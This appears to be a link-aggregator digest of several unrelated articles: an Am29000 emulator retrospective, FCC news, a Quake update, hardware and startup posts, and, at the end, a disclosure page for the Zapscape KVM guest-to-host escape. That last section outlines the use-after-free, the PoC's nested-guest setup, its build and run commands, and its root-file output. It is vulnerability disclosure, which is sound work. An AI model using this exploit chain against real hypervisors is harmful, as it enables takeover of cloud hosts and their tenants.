  652109 PC=0x80027E08 ADD gr96,gr96,gr98
  652110 PC=0x80027E0C ADD gr96,gr96,gr98
  652111 PC=0x80027E10 ADD gr96,gr96,gr98
  652112 PC=0x80027E14 ADD lr3,gr96,lr14
  652113 PC=0x80027E18 CONST gr103,0x0000
  652114 PC=0x80027E1C CONSTH gr103,0x0028
  652115 PC=0x80027E20 CONST gr105,0x8001
  652116 PC=0x80027E24 ADD lr5,lr4,0x00
  652117 PC=0x80027E28 SRL gr98,lr3,0x0f
  652118 PC=0x80027E2C SLL gr96,lr3,0x11
  652119 PC=0x80027E30 SRL gr96,gr96,0x11
  652120 PC=0x80027E34 ADD gr99,gr96,lr16
  652121 PC=0x80027E38 SUB lr8,gr99,gr105
  652122 PC=0x80027E3C SLL gr98,gr98,0x0c
  652123 PC=0x80027E40 OR gr102,gr98,0x09
  652124 PC=0x80027E44 STORE 0,0x42,gr102,gr100



And here is it. Changing write mode to 0x00 (graphics register 0x0b), calculating lr15 * 800 + lr14 (pixel address for 800x600), setup gr103 to point to video RAM at 0x0a0000, extracting 64K page in gr98 and writing graphics register 0x09 with the value shifted 4 places to cover the 1 MB address space.


Your processor is buggy


After the stub for the video chip was there, the execution could proceed. I got stuck at cycle one million with a conversion from float to double that crashed because the mantissa was non-zero. I decided to patch a flag to avoid the crash but not before using a whole day trying to find a way to setup the flag.



As the execution advanced, I could see there were a few further bugs in the 
MUL and 
MULL instructions. It happens the sign bit inserted in the result should be complemented in case of an overflow. I ran in circles for four hours, until I got right the overflow detection.




Once all instructions were right, the execution ran without stopping, and this means the operating system was up and running. Now I needed to see what was appearing on the screen, but the machine “mind” was thinking different. 



Suddenly, the execution stopped at 295,433 cycles with an invalid instruction. As the emulator behavior is deterministic, something was changing, and I noticed some write disk commands were issued. I did a comparison of the original disk image and the newest one, and it overwrote the File Allocation Table, so any future file access was bringing trash and crash.



Now I only had to revise around four million instructions executed trying to find what brought the operating system to write in the wrong place.


Tracking the bug


The bug happened through a perfect storm. The disk image had three temporary files that were deleted at the start of the operating system. However, somehow along it corrupted the disk image.



At a first glance (or through 12 hours of effort reading the debug file, drinking lots of coffee, and trying to make sense of the RAM dump) I thought the FAT update was buggy, but after following the logic of file creation, I discovered the search for the free block gave the wrong number, as it tried to write the first block of the file into the block 1 (casually the same block as the FAT)



The first time it wrote data into the file, it searched for a free block. Unfortunately, the routine 0x8000f20c for getting the first free block was simply gr96 = drive[0x70 / 4] this means the value was precalculated.



This made me to return to the very first cycles setting up the drive for reading (204575 cycles into execution), where it reads the complete FAT to get the total number of free blocks. At 0x8000e7f0 it sets the counter into lr5, and lr7 to zero (free blocks). The loop itself is 0x8000e7f8 (subroutine 0x8000e864 reads the FAT table).



If the 
CPEQ instruction result is true, it shifts the true value (0x80000000) 31 bits to the right, and adds it to the lr7 register. If it finds a free block, it checks if it is the first time, and saves the block number (for creating files later).




The total number of free blocks is saved into the drive structure lr18+0x6c and the first free block into lr18+0x70, and... this routine saved correctly the block number.



However, I had now a fixed address (0x80022cb0) that I could watch for the wrong value. I discovered it was being written not only with 1 but also with -1 and 2. This was a big error.



Watching address 0x80022cb0 now written with 0x00000123
Watching address 0x80022cb0 now written with 0x00000001
Watching address 0x80022cb0 now written with 0xffffffff
Watching address 0x80022cb0 now written with 0x00000001
Watching address 0x80022cb0 now written with 0xffffffff
Watching address 0x80022cb0 now written with 0x00000001
Watching address 0x80022cb0 now written with 0xffffffff
Watching address 0x80022cb0 now written with 0x00000001
Watching address 0x80022cb0 now written with 0x00000002



Stopping it at the point where it was written with 1, I discovered it was the FAT writing routine, and it worked correctly to free a block, and in turn changing the first free block to the lesser number. The problem was the caller.



The base caller was the file deletion operation called at 0x8000c7b8. The file to be deleted was 
X:/Sistema/Temporal/00000001.tmp with block 0x0123, correctly annotated in the FAT as linking to 0x124, and then -1 for finishing the chain.




And then I found the culprit, the instruction 
EXHWS, extract half-word with sign:




                if (d >= 0x8000)
                    d = 0x10000 - d;



Can you see the bug? This piece of code should translate the 16-bit value into a sign-extended 32-bit value. Instead you get the absolute value.



The correct routine is:



                if (d >= 0x8000)
                    d -= 0x10000;



Yes, a single line mistake took me three complete days of debugging. And of course, you can make this bug in any language.



Now the FAT wasn’t destroyed, and I could get back to find why it still crashed.


48071124 cycles!


The following crash only took me four hours to solve. The 
MULTIPLY instruction was crashing with big input values. However, I noticed the trap was disabled for an Am29050 processor, but this flag wasn't transferred to the math emulation, and it crashed on overflow.




I replaced the gr95 content with 0x00040040 (it was already 0x00040000 for the 
CONVERT flag) and et voila! The emulation run up to 48 millions cycles and stood running in an infinite loop. I was waiting for something to happen, but instead I got a warning of lack space from my MacBook Air, as the debugging file was running at more than 150 megabytes, filling very fast the SSD.




Ok, but what was doing the operating system in boot? I discovered my operating system didn’t included bitmapped fonts, but instead it was creating three fonts on-the-fly for the system. As I said before, I learned how to draw windows from X-Window, but also I discovered the Type 1 rasterizer with MIT license.



In the good old days, you were limited by the fonts provided by your laser printer. It could be Courier 12 points, in bold, and italic. And if you required more fonts, you would bought ROM cartridges with fonts! Lucky people could buy a Postscript cartridge and get unlimited scalable fonts! And by the way, there was a very good chance your Postscript had an Am29050 on board.



But I wasn’t so lucky, instead I discovered Type 1 was the font format used by Postscript. X-Window also provided some basic fonts. The X-Window fonts weren’t hinted so nicely as the Adobe fonts, I got mine from an early version of Acrobat Reader.



    So guess what I did? I didn't had a C compiler available yet, so my port of the Type 1 rasterizer was a manual conversion of the C source code to machine code. I don’t remember how much time it took me, but I should have somewhere an annotated print of the source code with machine code addresses.



Time to say that I don’t know how I had so much energy to do these machine code programs and manual ports!


[image: Myself in 2007 along my operating system in the screen]


Myself in 2007 along an advanced version of my operating system in the screen


libSDL2, nice to see you!


Now the cursor should be in screen, even if I cannot see it. The only problem is that I didn’t have written yet the acceleration routines nor a way to put the video RAM on the screen.



It took me like the whole day to find why Xcode wasn’t linking libSDL2 to the project. Hint: It isn't in the project options. I finally discovered you should simply drag&drop the SDL2.framework folder to your frameworks in the project tree. A few hours later, and after discovering I was missing a call 
SDL_UpdateWindowSurface(window) to update the window, I got meaningful trash on the screen!




This gave me a sudden adrenaline boost and I proceeded to correct my GD5429 emulation to copy correctly expanded bitmaps (letters became legible), then the minimum required bitblt function to fill the background with the wallpaper, and finally the same bitblt function for 8x8 pattern copy so it could fill windows backgrounds. It was a complete shock for me! I didn’t remember how it looked!!! Besides I was sleepy because I was doing this at 1am in the night!



The Cirrus Logic GD5429 limited emulation is coded in only 500 lines of C language, pretty small and readable.



For the input, I remembered I used a serial mouse working at 1200 baud rate. I searched my machine code for a register being set to 1200, because it has a serial driver library that converted this to the 16550 clock frequency. The subroutine to setup the mouse is located at 0x80011800. Did you know that the mouse sent back a letter telling you the protocol? You could get a M for Microsoft protocol, or H for the Mouse Systems protocol. After decoding the bytes received through the serial port you would get the registers gr92 and gr91 with the mouse position.



I could go the full way to emulate an asynchronous serial chip, along a mouse, but instead I resorted to receive the SDL events and change directly the same registers that my code did. The X-coordinate is in gr92, the Y-coordinate is in gr91, and the buttons state is saved into gr90 (bit 2 = left button, bit 1 = middle button, bit 0 = right button) We used to have three-button mouses before it was common to see gaming mouses with 6 or 8 buttons.



Also I needed a keyboard interface. The chip in the computer readed AT keyboard codes, and interrupted the processor to fill the buffer with these. The AT scancodes look like this https://webdocs.cs.ualberta.ca/~amaral/courses/329/labs/scancodes.html




The key buffer start and ending locations is determined by 0xbffffa00 and 0xbffffa04. While 0xbffffa08 is the writer (where the interrupt puts the next data), and 0xbffffa0c is the reader (from where the data is consumed).



Fortunately, libSDL2 provides an UTF-8 text input that I could process, and I used exactly the same locations to put Unicode keys, and patched the keyboard controller to avoid the scancode decoding and pass directly the Unicode characters.



For the final polish, I wanted to see my original cursor sprite. It wasn’t so difficult this time, I made code to draw the cursor directly in the video RAM, and save/restore the background before displaying on the screen.



    At the end, the emulator is composed of 3075 lines of source code coded in two weeks.


Creating a distro


It would be really easy to publish the two floppy disks exactly like in my files. Unfortunately, these disks were reused several times, contain unknown trash in unused sectors, and several programs were buggy and in various states of completion.



First, I needed to replace the non-free Adobe fonts with free Type 1 fonts. For this, I created a 
build_disk.c utility (it is in my git, like the one for my transputer operating system) to create a floppy disk image, then I patched the operating system to allow for two floppy disk drives at the same time, and I was able to copy the new fonts (Luxi family) simply by dragging and dropping them. I patched manually the operating system for the new fonts, and bingo! It worked just fine.




./buildboot -l Fonts -a5 disk2.img "fonts/Luxi Sans" "fonts/Luxi Sans Bold" "fonts/Luxi Serif" "fonts/Luxi Mono"



Second, I had a HP LaserJet II printer driver, but I copied two extra printer drivers (Canon BJC-600 and Epson Stylus 600) from my second floppy disk, and added support for printing in the emulator. This means that if you actually have one of these printers, you could print text edited with the Editor program! I was able to view a printed file for HP LasertJet IIp using https://www.coolutils.com/online/PCLViewer



Third, I made a program to “clean” the floppy disk image, by erasing unused blocks, and removing data at the end of files (sanitize.c in my git)



So here it is. My operating system for Am29000 processor written entirely in machine code. A once-in-a-lifetime achievement.



By the way, it has a name, very deep inside the binary image it says Windows Fénix. Someone asked for the name of the operating system, and I had been watching X-Men’97 at the time, my preferred character was Jean Grey (Phoenix), so that’s it.


Download


You can get the emulator from https://github.com/nanochess/Am29000 and there are precompiled releases for Windows and macOS. Maybe you will need to install libSDL2.


When the blue window appears, you should just drag&drop the floppy disk image 
disk.img into it. If you drag a second floppy disk image, it will be used as drive B.




    If you print something, the 
printer.txt file will appear in your Documents folder. When printing the cursor will move more slowly because the printer task works in the background, just make sure you don't close the Editor window until the cursor move fast again. You need to close the emulator in order to use the printer file.



What we have here


Move your cursor with the mouse or pad. Press click and keep pressed on the title bars to move windows. The gray button at the top-left will close the windows.


If you do right-click in the background of the “Arrancador” window, you’ll get different color schemes.



The “Arrancador” window is like a shortcut launch to a chess game, the file viewer (you can drag&drop files between two file viewer windows), color editing, disk check, and utilities (you can drag&drop files to the trash, or drag a folder to create a new folder in the file viewer)



	Colores: A way to edit the operating system colors.

	Depurador. A bare bones debugger that can disassemble global memory and the current tasks.

	Editor. Text editor that can print documents (very glitchy)

	Promedio. Procesor usage and free memory.

	Tipografía: A way to test font faces and change used ones.

	CDROM: This enables a ISO-9660 file system, but there’s no CD support in the emulator.

	Terminal: A serial terminal, but there’s no serial port support.

	Circuito impreso: A demo of vectorial graphics.

	The folder Fondos contains background pictures, just click one to enable it.

	The folder Sistema/Protectores de pantalla contains a single screensaver called Acuario, but no time check to run it. The graphics are based on XFishtank.



Some internals


How my operating system works? It starts by initializing the processor state, sets the math emulation package, calls the initialization routines for each service provided, erases the temporary files from disk, loads the video controller, and then builds three font faces for the system. The services are invoked loading the function number into gr121, and doing 
CALL to a single instruction 
ASNEQ 0x42,gr1,gr1. There are services 0x42-0x4f.




	0x42 - Windowing system.

	0x43 - Video controller.

	0x44 - Keyboard controller.

	0x45 - Memory management.

	0x46 - SCSI controller.

	0x47 - Serial port controller.

	0x48 - Filesystem interface.

	0x49 - Mouse controller.

	0x4a - Font manager.

	0x4b - Message boxes.

	0x4c - Multimedia services (not available in this iteration)

	0x4d - Configuration services.

	0x4e - Printer services.

	0x4f - Network services (not available in this iteration)




Of course, this is completely tied to the Am29k architecture.


    I've provided also a full disassembly and RAM dump in my git for reference purposes. Maybe I could document it in the future.


If you enjoyed this article and want to see more articles, please support me monthly in Ko-Fi.


I learned my lesson. This was the last time I did something so big in machine code. The programs required way too much documentation and commenting addresses, and every change was a pain. Sometimes enhancements or corrections didn’t fit in the same space, slowly making the operating system an ever bigger chaos. The text editor in particular never could be corrected because it was too complex. However, coming from doing the same on the Z280 computer, it was pretty hard to avoid old ways.


While writing the emulator and this article, I noticed that the date was fixed on the whole operating system, so all files are dated 1997, even though some internal copyright messages are dated 1998, and one of the floppy disks says 1998 in the label. Based on this data, and my notebook, I developed this between late 1996 and early 1998.


In 1997 I would change the endianness to little-endian for the G11V2, and put the whole operating system in EPROM (it had 1 MB. of EPROM memory) allowing for bigger programs to run.


It was until December 1997 when I finally started porting the C compiler from my transputer operating system, it was working in June 1998, and it helped me to code faster. It was instrumental to create my first Internet browser in 1999 in the G11V2 computer, but of course, it would be for another article.


    I remember downloading QNX in 1999 and running it in a 1.44mb floppy disk on a PC, and thinking "Gosh! I did it first."




Original: https://nanochess.org/the_am29000_computer.html · Discussion
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Federal Communications Commission scraps limit on broadcast TV ownership

nbcnews.com · 75 points · Discussion

The Federal Communications Commission, the government agency that regulates the broadcast airwaves, voted Thursday to eliminate a cap on the share of U.S. television households a single company can reach, a major move that could pave the way for more corporate consolidation in the media industry.
In a 2-1 vote, the FCC repealed a 22-year-old rule holding that a company cannot own stations that reach more than a combined 39% of the U.S. television audience. The ownership limit will be replaced by a case-by-case approach.
The decision to remove the cap had been widely expected. FCC Chairman Brendan Carr last month wrote an op-ed for the conservative news website Breitbart calling the ownership limit an “outdated” policy that blocked local broadcasters from “gaining the same scale that their competitors are free to enjoy.”
“The cap no longer constrains the power of national programmers. Instead, it prevents local broadcasters from competing on a level playing field,” said Carr, a Republican who was appointed head of the FCC at the start of President Donald Trump’s second term.
The 39% cap has been in place since 2004, when Congress boosted a previous 35% limit set in the 1990s. The rule remained unaltered for more than two decades partly because it is codified in federal law. 
Carr has contended that the FCC nonetheless has statutory authority to scrap the rule — a position that is likely to face legal pushback. Free Press, a progressive consumer group, said it planned to sue over the FCC’s “unlawful power grab.”
Anna M. Gomez, the lone Democratic commissioner on the FCC, blasted the vote in similar terms, calling it “unlawful on its face.”
“Eliminating the cap does not free local broadcasters from economic pressure, it just changes who is doing the squeezing,” Gomez said in a statement. “The large station groups positioned to grow even larger under this decision are not local broadcasters, they are national companies that own local stations and increasingly dictate what airs on them.”
The vote pitted Gomez against Carr and a third commissioner, Olivia Trusty, a Republican who was also appointed by Trump.
The FCC’s move delivers a win to Nexstar Media Group, the nation’s largest owner of local television stations. Nexstar is seeking to acquire rival broadcaster Tegna in a $6.2 billion deal, though a federal judge put the transaction on hold after eight state attorneys general filed an antitrust lawsuit. The combined entity would reach at least 60% of U.S. households.
Carr announced in March that Nexstar’s purchase of Tegna had been exempted from the 39% rule on a stand-alone basis, saying that decision was “consistent with longstanding FCC authorities.”
Nexstar and other top broadcast station owners have repeatedly urged the FCC to nix the limit, arguing that it prevented local TV channels from competing in a crowded media marketplace increasingly dominated by streaming video services, social media apps and other platforms that are not subject to similar ownership regulations.
“These rules were last updated before Netflix streamed a single movie, before the first iPhone, and before Instagram existed, and they continue to single out local broadcasters based on a competitive landscape that disappeared with the VCR,” a Nexstar spokesperson said after the FCC announced it would vote on the rule.
“No one would suggest limiting the reach of YouTube, Amazon, or CNN, yet local broadcasters are still forced to compete under rules written for a different century,” the spokesperson added.
Carr’s efforts to scrap the rule have drawn vocal opposition from some consumer advocates and lawmakers. The opponents of the rule change have argued that nixing the cap would accelerate media consolidation, trigger rounds of layoffs, shrink the pool of independent station owners and limit viewpoint diversity on the airwaves.
“Trump’s FCC Chair is trying to illegally rewrite the rules to make it easier for billionaires to line their own pockets while jacking up costs and controlling what Americans watch,” Sen. Elizabeth Warren, D-Mass., said. “After rubber-stamping the Nexstar-Tegna megamerger, this looks like the Trump administration’s latest attempt to roll out the red carpet for more antitrust disasters.”
The FCC’s critics have also repeatedly questioned whether Carr has the legal authority to change a policy put in place by an act of Congress. 
“Brendan Carr cannot undo the limit that Congress set just because he feels like it,” said Matt Wood, the vice president of policy and general counsel at Free Press.




Original: https://www.nbcnews.com/business/media/federal-communications-commission-scraps-limit-broadcast-tv-ownership-rcna587641 · Discussion




Improving GPT-5.6 Sol in ChatGPT—and expanding access for free users


14

Improving GPT-5.6 Sol in ChatGPT—and expanding access for free users
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Full text couldn't be fetched for this one (paywall, anti-bot, or not an article page). Read it via the links below.

Original: https://openai.com/index/improving-gpt-5-6-sol-in-chatgpt/ · Discussion
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The Simple Elegance of the Integrated Timing Belt Loopback Fastener

danielmangum.com · 75 points · Discussion


        
        I’ve recently been working on a mechatronics project that involves constructing
an X-Y cartesian motion system. I opted to use stepper motors to drive each
axis, and timing belts
and pulleys for translating the rotational torque of the steppers into linear
motion. The timing belts need to be anchored to the component that is being
actuated, which in this case is the carriage on the linear rails. Though
matching toothed
clamps
exist, it is common, particularly in DIY projects, for timing belts to be
fastened using zip ties or custom
clips. These
solutions leverage the fact that the timing belt, when looped back on itself and
pressed together, creates a locking mechanism. As long as you have a tie or clip
that can hold the teeth in their interlocking arrangement, the belt will remain
fastened.




[image: timing-belt-fastener-0]


These are fine solutions, but they do require additional parts, and they can be
prone to slipping if not attached tightly. An alternative option, which I first
encountered in this DIY CNC drawing machine
build (raft mount STL
file
here),
is to design fasteners into the actuated component itself. As seen above, the
fastener is effectively just a circular recess with a spindle for the timing
belt to loop around, and an entry shaft that is approximately the width of the
belt when its teeth are interlocked. I somewhat surprisingly have not seen
prevalent use of this design, and I wasn’t even sure what to call it, though I
eventually settled on “integrated loopback fastener” (let me know if there is an
existing term for it).




[image: timing-belt-fastener-1]


Attaching the timing belt while maintaining tension can be somewhat challenging,
but it is made easier with a pair of needle nose pliers. Once in place, the belt
remains securely attached, though I imagine any sort of twisting force could
lead to it working out of the recess over time. Outside of the elimination of
additional small parts, the ease with which the belt can be detached and
reattached is also a nice attribute. While iterating on this project, I
frequently disengaged the belt by detaching from one of the fasteners so that I
could adjust the pulleys and other components.




[image: timing-belt-fastener-2]


Though there are many options available, if you have control over design of the
actuated component, the integrated timing belt loopback fastener may be worth
considering.


      



Original: https://danielmangum.com/posts/integrated-timing-belt-loopback-fastener/ · Discussion
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[image: Any agent. Any channel.]
Bring any AI agent into Slack, Microsoft Teams, and the channels where work happens — with native, interactive UI.

Try Channels · Build with the SDK · Explore OpenTag
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Quake – 30th Anniversary Update
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By: id Software
8/6/2026[image: Key art for Dawn of the Machine, featuring an angelic statue forming the Quake "Q" symbol.]To celebrate the 30th Anniversary of Quake, we have collaborated with MachineGames to create a new episode, Dawn of the Machine, now available as a free update to Quake.

🆕WHAT'S NEW
⚙️DAWN OF THE MACHINE
Celebrating 30 years of Quake, the award-winning team at MachineGames—in collaboration with id Software—returns with Dawn of the Machine, a brutal new episode building on their critically acclaimed work on Dimension of the Machine and Dimensions of the Past. Delivering ferocious combat, labyrinthine level design, and nightmarish realms that twist reality beyond recognition, it pushes the legacy of the genre-defining first-person shooter even further—honoring one of gaming’s most enduring icons.  
🏃‍♂️‍➡️END THE NIGHTMARE. 😶‍🌫️ESCAPE THE ILLUSION.
Ranger is trapped in a dimension of endless illusion—reliving the same violent cycles for what feels like lifetimes, dying thousands of times in a futile attempt to escape. Wearied but unbroken, he has heard rumor of The Nightmare Machine.   
Beyond the hordes of monsters—twisted by an eternity in the Elder realms—lies the Machine. It is believed its destruction will shatter the illusion, finally breaking the loop.   
🆓FREE FOR QUAKE OWNERS
Dawn of the Machine is available as a free update for Quake owners on XBOX Series X/S, XBOX One, Microsoft PC Store, Game Pass, PC Game Pass, Steam, PlayStation 5, PlayStation 4, Nintendo Switch 2 (via backwards compatibility), and Nintendo Switch versions of Quake. This expansive new episode features 19 all-new maps across a cohesive campaign, alongside a brand-new soundtrack, hidden secrets, a dedicated episode hub, and an all-new deathmatch map. 
👹NEW ENEMY AND ⚔️WEAPON VARIANTS
Face deadly new twists on familiar foes, including the Rocket Ogre, Demo Dog, Blood Shambler, and more. Each variant introduces lethal new behaviours—from overwhelming firepower to explosive death traps—forcing you to rethink every encounter. Expand your arsenal with brutal variants inspired by classic Quake expansions, including the Super Axe—unleashing lightning on successive strikes—and the Laser Cannon, firing ricocheting projectiles that tear through enemies from every angle. 
♻️REPLAYABLE EPISODE LOOP
Time folds back on itself in a unique looping structure, where each return reshapes the experience. Runes unlock previously sealed paths, drawing you back through familiar spaces now altered with new routes, encounters, and secrets waiting to be discovered. Persistent health and ammo upgrades found throughout the realm ensure each loop makes you stronger, introducing a new layer of progression to Quake. 
🎭EXPECT THE UNEXPECTED
Reality is never stable. Shift between dimensions to solve puzzles and navigate the world, or find hidden secrets scattered throughout the realms. Face enemies that rise again or transform after death, and experience encounters where the rules change without warning—forcing you to adapt or be overrun. 

🔒id VAULT 
Browse a behind-the-scenes gallery of development assets and unused content. Explore playable maps, including some levels from the earliest stages of Quake’s development

🏆NEW ACHIEVEMENTS 
Three new achievements are available to earn while playing Dawn of the Machine

🤫CHEATS MENU 
Access the new Cheats menu at any time in single player games to help you through a tough area or just explore levels without fear of enemies

🛠️FIXES 
ALL PLATFORMS 
	Improved interpolation. This reduces input latency and lessens occurrences where the camera would visually fall behind your weapon and weapon effects
	Fixed an issue where the camera would interpolate between position changes that were too large to possibly be stairs (silent teleporters)
	Re-added weapon bobbing effects when view bobbing is disabled
	Weapon bob can now be turned on or off separately from view bob
	Removed shadow casting from Hell Knight projectiles to improve visuals in its ranged attack
	Shadow casting lights from enemies are now capped to improve performance in scenes with lots of Enforcers firing weapons
	Reduced memory usage from menus
	Improved font rendering when using the larger accessible typeface

PLAYSTATION 5 
	Fixed weapons in Scourge of Armagon not having controller vibration or controller speaker sounds


👷MODDING CHANGES 
	Localization strings are now stored in the Quake PAK, instead of outside the game data in the KPF file. Third party engines that previously read strings from the KPF file will need to be updated to read from the PAK file and should no longer need to load the KPF file at all
	Mods can optionally add new mod-specific localization by overriding localization/loc_(language)_mod.txt in their PAK files


❓FAQs 
“I already own Quake. How do I access the new episode, Dawn of the Machine? 
If you already own Quake, you’ll receive the new update automatically as a free download. Depending on your settings, the update may already be installed. Once updated, you can start a new game, select a level, or play cooperative multiplayer in Dawn of the Machine“Which platforms is Dawn of the Machine available in Quake? 
Dawn of the Machine is currently available on XBOX Series X/S, XBOX One, Microsoft PC Store, Game Pass, PC Game Pass, Steam, Nintendo Switch 2 (via backwards compatibility), Nintendo Switch, PlayStation 5 and PlayStation 4 versions of Quake“Is Dawn of the Machine available on the Epic Games Store or GOG versions of Quake?
Dawn of the Machine is currently not available on the Epic Games Store or GOG versions of Quake“I play Quake on GOG or the Epic Games Store. Why do I see a “Disconnected from servers” message when invited to play Dawn of the Machine maps with players on Steam or console? 
If you’re playing Quake on GOG or the Epic Games Store, you may see a “Disconnected from servers” message when accepting an invitation from a Steam or console player for Dawn of the Machine episode or maps. This message appears because the Dawn of the Machine update is currently available on supported platforms, while the GOG and Epic Games Store versions do not yet include this content. Your account has not been disconnected or penalized“Known Issue: Quake players hosting a Dawn of the Machine online multiplayer match on Switch will disconnect from the lobby on level transitions, forcing other players to drop too.
Workaround: To avoid this issue, Switch players should avoid hosting online multiplayer games featuring Dawn of the Machine maps and join cross-play games featuring these maps instead.*If you're still experiencing issues, please holler at our amazing Customer Service team
ShareShareAll Articles
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      The whole route click any stop to ride there

      
    

    
      What you are watching

      The yellow cart carries one wafer. Its cargo changes at every stop:
        sand, then rough silicon, then a silver crystal, then a mirror-flat disc, and finally
        a tray of chips. The middle of the park is a ring, because printing a chip means
        driving the same six buildings about sixty times, once per layer.
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 Hey everyone, it’s Can, the only person behind Herdr. This post is about how I decided to change that.

Four months ago I was looking for another job. Thinking about where to go career-wise. Thinking about software engineering and its future in general, my hobby projects, applications, whiteboard interviews (I still can’t believe we do those). And at some point it hit me: I am the bottleneck.

This is a management and engineering problem. I don’t want to install an app or learn a new tool just to manage my agents and my development style. I want something that fits me. You know how every company releases their own agent these days? No, don’t do that. Let my agent integrate with your product, don’t offer me another agent.

Same idea here. I didn’t like what I tried, so why not build it? So I built a runtime. But what is a runtime?

Runtime

CLI coding agents run in terminals, and terminals have always been our home: editing code (yes, nvim chads), running servers, navigating projects, maintaining CI, machines, configurations. It’s the root. It’s the connection. So agents need first class primitives there.

A terminal pane belongs to an agent. A pane belongs to a tab. Tabs belong to a project.

They need to be persistent. We have agents running for hours now, sometimes days. And once you have the runtime, where they run stops mattering. You should be able to run them anywhere and keep them running.

That’s where Herdr was born. But a runtime without an interface is nothing, so: the TUI.

TUI

The TUI is the UI I use every day, and it carried Herdr this far. Not because it’s a UI, but because it shows the concepts Herdr believes in: tracking agents at a glance, dividing work between projects instead of getting lost in a pile of agents, being alerted only when an agent actually needs you.

It also has one big advantage, and it’s the reason it stays first class forever: it’s bundled. Install Herdr on your VPS, ssh in, and your UI is already there. Or run herdr --remote user@host and it installs itself. Depending on your network speed, you’re a couple of seconds away from an agent running. One command and you’re in. Nothing beats that.

Still, the TUI was never meant to be the only client. A runtime means people can build on top of it, and people did! A Raycast extension, a Stream Deck with buttons for herdr, an iOS app that drives a whole session from a phone. More than 500 plugins, one month after the marketplace released. I didn’t build any of these.

The TUI has its limits too. Some of the ideas in my head are hard to build inside a terminal, and I trust terminals, but Herdr will need more clients. More on that later.

Where we are now

So a solo project reached 25k stars and 340k downloads, and it became more than one person can carry.

Herdr is joining Y Combinator, F26 batch. I’m excited to make Herdr a company that builds a developer tool for anyone juggling agents all day. I want to build a small team: people who keep the runtime healthy, robust, fast, running anywhere easily, and more extensible. Letting you do more while Herdr stays small.

The runtime, what you use right now, stays free. Apache-2.0. That’s why I recently switched it from AGPL to Apache: I want everyone to use Herdr freely, without any problem.

Where we’re going

I want to build on top of the open Herdr runtime like everyone else. I’ll keep supporting the open source while building the features people really need. The demand is already visible: multiple clients, a laptop, a VPS for the six hour job, a sandbox for risky code and ephemeral agents. Herdr can run anywhere today, but those machines are disconnected.

It should be connected.

There are many more features in my head, but I don’t want to rush. People keep telling me they love that Herdr stays lean, and that’s what I want to protect. In an age where adding one more feature costs nothing, choosing what goes in the core is the most important decision, I believe. So the core stays small, and everything else stays possible through extensions: your style, your flows, your company’s setup, your themes, your crazy ideas.

Thank you for getting Herdr this far. Thanks for the support, for sharing the love. You have no idea how grateful I am.

Anyway, back to work.

[image: A ram, asleep above the clouds. Or working, hard to tell.]
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The KVM Escape Trilogy







Zapscape: Guest-to-Host Escape in KVM/x86



  



Abstract




This document describes the Zapscape (CVE-2026-64561) vulnerability discovered and reported by Hyunwoo Kim (@v4bel). It is a KVM escape vulnerability that lets a guest escape to the host in a KVM/x86 environment and run commands on the host with kernel (root) privilege.

Zapscape is a use-after-free vulnerability in the shadow MMU emulation of KVM/x86, specifically in the recursive zap path that runs when shadow pages are reclaimed. It can trigger the bug with guest-side actions alone to corrupt the host kernel's shadow page, and it can threaten the guest-host isolation of KVM/x86 hosts that accept untrusted guests and expose nested virtualization, particularly multi-tenant x86 public clouds.

For the detailed technical information, see here.

Note
After reporting this vulnerability to linux-distros@vs.openwall.org, the agreed embargo has ended, so the exploit is posted to oss-security and this Zapscape document is published. For the disclosure timeline, see the technical detail document.




PoC Structure


The PoC is written to target AMD, and for safe testing, running it under QEMU TCG is recommended. The PoC has the following structure.

L0: Linux 7.1.3 + KVM_AMD on an x86_64 CPU (AMD SVM/NPT) emulated by QEMU TCG. The escape target
  └─ L1: the guest poc creates. Switching long -> PAE aliases one shadow page as both child and pinned root, and L1 then escalates the UAF into L0 kernel code-exec
       └─ L2: the guest L1 VMRUNs. Its memory touches trigger L0's quota reclaim -> recursive zap with no root_count guard -> UAF



This PoC is not a weaponized exploit that runs immediately in a cloud environment, but demonstration code that reproduces the vulnerability and the full exploit chain on top of QEMU TCG. To use it in a real cloud environment, the L1 actions the PoC performs must be moved into a guest kernel module, and the exploit must be ported to match the host kernel's kconfig. This is not a difficult task.


PoC Usage



	Download the vulnerable v7.1.3 kernel source, then build the kernel image based on the bundled kconfig.

	Build the PoC, then compose a suitable initramfs using BusyBox or the like and put the built PoC into the initramfs.



# gcc -O2 -g -static -pthread poc.c -o poc




	Boot the Linux 7.1.3 target with the following command. Test on QEMU v9.2.0 or later.



# ./qemu.sh bzImage initramfs.cpio.gz




	After QEMU TCG boots, run the PoC. On a successful exploit, it escapes the guest and creates the /Zapscape file owned by root on the host.



 /$$$$$$$$  /$$$$$$  /$$$$$$$
|_____ $$  /$$__  $$| $$__  $$
     /$$/ | $$  \ $$| $$  \ $$
    /$$/  | $$$$$$$$| $$$$$$$/
   /$$/   | $$__  $$| $$____/
  /$$/    | $$  | $$| $$
 /$$$$$$$$| $$  | $$| $$
|________/|__/  |__/|__/

[+] /Zapscape created by the target KVM host kernel (owner uid=0, mode=0644).
[+] exploit completed - verify with: ls -la /Zapscape
zapscape(uid=65534)$ ls -la /Zapscape
-rw-r--r--    1 root     root             0 Jul 29 05:27 /Zapscape
zapscape(uid=65534)$



This PoC is intended to provide accurate information. Do not use it on systems you are not authorized to test.


Affected Versions


Zapscape (CVE-2026-64561) covers the range from f95eec9bed76 (2020-07-08) to 2abd5287f083 (2026-07-21).


FAQ



What is the impact of this vulnerability?


The same as Januscape (CVE-2026-53359):


	KVM escape: With guest-side actions alone, an attacker can compromise the host that runs their VM. For example, an attacker who has rented just a single instance on a public cloud could panic the host kernel to take down every other tenant VM on the same physical machine (DoS), or run code with root privilege on the host to take over the host and all the guests on it (RCE).

	LPE: On distributions such as RHEL, /dev/kvm is world-writable (0666), so an unprivileged user can also use this vulnerability as an LPE to gain root. When it is used as an LPE, host-side VMM ioctls are available, so the exploit becomes easier and more stable.




How is this related to Januscape?


It occurs in the same shadow MMU, but it is a separate vulnerability with a different root cause.

That said, unlike Januscape, on Intel it can be triggered only when both EPT page walk length 4 and 5 are exposed to L1. This is an important point when assessing the affected scope, so it must be understood precisely. See the technical detail document.


Does this vulnerability occur in QEMU?


No. As with Januscape, it occurs in in-kernel KVM, so it is triggered independently of QEMU's emulation. Because of this, it can also threaten large public clouds that implement and use their own virtualization stack.


Do I need root inside the guest VM?


Yes. L1 kernel privilege is required. When you are allocated an instance on a public cloud, you usually have root on your own VM, so this is satisfied. In a scenario without guest root, it must be chained with an LPE such as Dirty Frag.


Do you think KVM vulnerabilities will keep appearing?


Yes. I recommend establishing a sustainable patching process for host hypervisors. Winter is coming.


